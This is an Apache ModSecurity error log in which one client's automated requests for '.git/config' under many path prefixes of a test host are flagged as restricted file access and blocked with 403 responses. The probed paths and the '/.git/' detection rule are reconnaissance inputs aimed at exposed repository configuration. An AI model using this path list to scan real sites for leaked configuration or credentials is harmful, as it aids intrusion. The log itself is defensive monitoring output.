[Mon Jul 17 02:19:49.899955 2023] [:error] [pid 673636] [client 3.143.209.15:51984] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;ZLSJJT4zPyLpySdBdU6pXwAAAAE&quot;]
[Mon Jul 17 02:19:49.900107 2023] [:error] [pid 673636] [client 3.143.209.15:51984] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;ZLSJJT4zPyLpySdBdU6pXwAAAAE&quot;]
[Mon Jul 17 02:19:49.901308 2023] [:error] [pid 673785] [client 3.143.209.15:51970] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZLSJJTQiEmrnsFR88eZLYgAAAAU&quot;]
[Mon Jul 17 02:19:49.901472 2023] [:error] [pid 673785] [client 3.143.209.15:51970] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZLSJJTQiEmrnsFR88eZLYgAAAAU&quot;]
[Mon Jul 17 02:19:49.901596 2023] [:error] [pid 673785] [client 3.143.209.15:51970] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZLSJJTQiEmrnsFR88eZLYgAAAAU&quot;]
[Mon Jul 17 02:19:50.124125 2023] [:error] [pid 674854] [client 3.143.209.15:52012] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /developer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-jgAAAAY&quot;]
[Mon Jul 17 02:19:50.124432 2023] [:error] [pid 674854] [client 3.143.209.15:52012] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-jgAAAAY&quot;]
[Mon Jul 17 02:19:50.124596 2023] [:error] [pid 674854] [client 3.143.209.15:52012] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-jgAAAAY&quot;]
[Mon Jul 17 02:19:50.134022 2023] [:error] [pid 673638] [client 3.143.209.15:51998] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_YQAAAAM&quot;]
[Mon Jul 17 02:19:50.134292 2023] [:error] [pid 673638] [client 3.143.209.15:51998] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_YQAAAAM&quot;]
[Mon Jul 17 02:19:50.134461 2023] [:error] [pid 673638] [client 3.143.209.15:51998] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_YQAAAAM&quot;]
[Mon Jul 17 02:19:50.135310 2023] [:error] [pid 673639] [client 3.143.209.15:52032] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdAAAAAQ&quot;]
[Mon Jul 17 02:19:50.135519 2023] [:error] [pid 673639] [client 3.143.209.15:52032] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdAAAAAQ&quot;]
[Mon Jul 17 02:19:50.135643 2023] [:error] [pid 673639] [client 3.143.209.15:52032] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;ZLSJJnTUyDq7zN9MWDuSdAAAAAQ&quot;]
[Mon Jul 17 02:19:50.135697 2023] [:error] [pid 673636] [client 3.143.209.15:52048] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYAAAAAE&quot;]
[Mon Jul 17 02:19:50.135906 2023] [:error] [pid 673636] [client 3.143.209.15:52048] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYAAAAAE&quot;]
[Mon Jul 17 02:19:50.136039 2023] [:error] [pid 673636] [client 3.143.209.15:52048] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYAAAAAE&quot;]
[Mon Jul 17 02:19:50.136968 2023] [:error] [pid 673637] [client 3.143.209.15:51966] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlPQAAAAI&quot;]
[Mon Jul 17 02:19:50.137148 2023] [:error] [pid 673637] [client 3.143.209.15:51966] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlPQAAAAI&quot;]
[Mon Jul 17 02:19:50.137268 2023] [:error] [pid 673637] [client 3.143.209.15:51966] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;ZLSJJoZYX_VnrzSUhoVlPQAAAAI&quot;]
[Mon Jul 17 02:19:50.141035 2023] [:error] [pid 673635] [client 3.143.209.15:52054] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /m/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-naAAAAAA&quot;]
[Mon Jul 17 02:19:50.141237 2023] [:error] [pid 673635] [client 3.143.209.15:52054] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-naAAAAAA&quot;]
[Mon Jul 17 02:19:50.141368 2023] [:error] [pid 673635] [client 3.143.209.15:52054] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/m/.git/config&quot;] [unique_id &quot;ZLSJJuqR2JONb5tmzF-naAAAAAA&quot;]
[Mon Jul 17 02:19:50.142469 2023] [:error] [pid 673785] [client 3.143.209.15:52024] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLYwAAAAU&quot;]
[Mon Jul 17 02:19:50.142637 2023] [:error] [pid 673785] [client 3.143.209.15:52024] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLYwAAAAU&quot;]
[Mon Jul 17 02:19:50.142776 2023] [:error] [pid 673785] [client 3.143.209.15:52024] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;ZLSJJjQiEmrnsFR88eZLYwAAAAU&quot;]
[Mon Jul 17 02:19:50.361668 2023] [:error] [pid 674854] [client 3.143.209.15:52052] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-jwAAAAY&quot;]
[Mon Jul 17 02:19:50.361916 2023] [:error] [pid 674854] [client 3.143.209.15:52052] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-jwAAAAY&quot;]
[Mon Jul 17 02:19:50.362060 2023] [:error] [pid 674854] [client 3.143.209.15:52052] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;ZLSJJi-vjPWa8Z17cvt-jwAAAAY&quot;]
[Mon Jul 17 02:19:50.369190 2023] [:error] [pid 673638] [client 3.143.209.15:52074] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /gateway/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_YgAAAAM&quot;]
[Mon Jul 17 02:19:50.369419 2023] [:error] [pid 673638] [client 3.143.209.15:52074] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_YgAAAAM&quot;]
[Mon Jul 17 02:19:50.369551 2023] [:error] [pid 673638] [client 3.143.209.15:52074] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;ZLSJJqf8b0BmNA89Kdw_YgAAAAM&quot;]
[Mon Jul 17 02:19:50.372448 2023] [:error] [pid 673636] [client 3.143.209.15:52096] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /qa/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;ZLSJJj4zPyLpySdBdU6pYQAAAAE&quot;]
